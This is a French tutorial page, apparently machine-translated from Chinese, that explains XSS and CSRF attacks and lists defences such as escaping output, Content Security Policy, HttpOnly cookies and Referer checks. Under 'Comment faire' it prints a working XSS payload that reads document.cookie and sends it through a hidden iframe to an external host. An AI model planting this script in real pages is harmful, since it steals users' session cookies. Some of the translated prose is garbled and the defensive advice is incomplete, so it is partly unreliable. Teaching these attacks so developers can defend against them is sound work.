Maison  >  Article  >  développement back-end  >  Comment se protéger contre les attaques XSS et CSRF

Comment se protéger contre les attaques XSS et CSRF

小云云
小云云original
2018-03-19 13:04:351926parcourir


XSS : le cross-site scripting (souvent appelé XSS) est une attaque de vulnérabilité de sécurité sur les applications de sites Web et est un type d'injection de code. Il permet à un utilisateur malveillant d'injecter du code sur une page Web, ce qui affectera les autres utilisateurs lors de la visualisation de la page Web. Ce type d'attaque implique généralement du HTML et des langages de script côté utilisateur.

CSRF : Cross-site request forgery (anglais : Cross-site request forgery), également connu sous le nom d'attaque en un clic ou de session riding, généralement abrégé en CSRF ou XSRF, est une sorte de chantage que les utilisateurs subissent actuellement connecté. Méthode d’attaque qui effectue des opérations involontaires sur une application Web.

Une compréhension simple est :

XSS : via un langage de script côté client (le plus courant tel que : JavaScript)
La publication d'un morceau de code JavaScript malveillant dans un message de forum est un script injection. Si cela Si le contenu du code demande un serveur externe, cela s'appelle XSS !

CSRF : également connu sous le nom de XSRF, il se fait passer pour un utilisateur et initie une demande (à l'insu de l'utilisateur), complétant certaines demandes contre la volonté de l'utilisateur (telles que des publications malveillantes, la suppression de publications, la modification de mots de passe, l'envoi de emails, etc).

Comment faire

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

Comment le protéger

Idée centrale : Toutes les données provenant de sources externes doivent être filtrées par le code de notre serveur avant de pouvoir être affichées sur la page Autrement dit, toutes les données externes sont illégales et doivent être filtrées.

1. Essayez d'utiliser innerText (IE) et textContent (Firefox), c'est-à-dire text() de jQuery pour afficher le contenu du texte
2 Si vous devez utiliser innerHTML et d'autres fonctions, vous devez le faire. quelque chose de similaire au filtrage PHP des caractères htmlspecial

3. Lors de la sortie HTML, ajoutez l'en-tête Http de la politique de sécurité du contenu
(Fonction : il peut empêcher la page d'être attaquée par XSS et d'intégrer des fichiers de script tiers. , etc.)
( Défauts : les navigateurs IE ou versions inférieures peuvent ne pas le prendre en charge)
4. Lors de la définition des cookies, ajoutez le paramètre HttpOnly
(Fonction : il peut empêcher le vol des informations sur les cookies lorsque le la page est attaquée par XSS. Elle est compatible avec IE6)
(Défaut : Le code JS du site lui-même ne peut pas faire fonctionner les cookies, et sa fonction est limitée et ne peut assurer que la sécurité des cookies)
5. l'API, vérifiez le paramètre Referer de la requête
(Fonction : Peut empêcher les attaques CSRF dans une certaine mesure)
(Défaut : Dans les navigateurs IE ou versions inférieures, le paramètre Referer peut être falsifié)

Recommandations associées :

PHP implémente un exemple de code pour empêcher le cross-site et Introduction

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn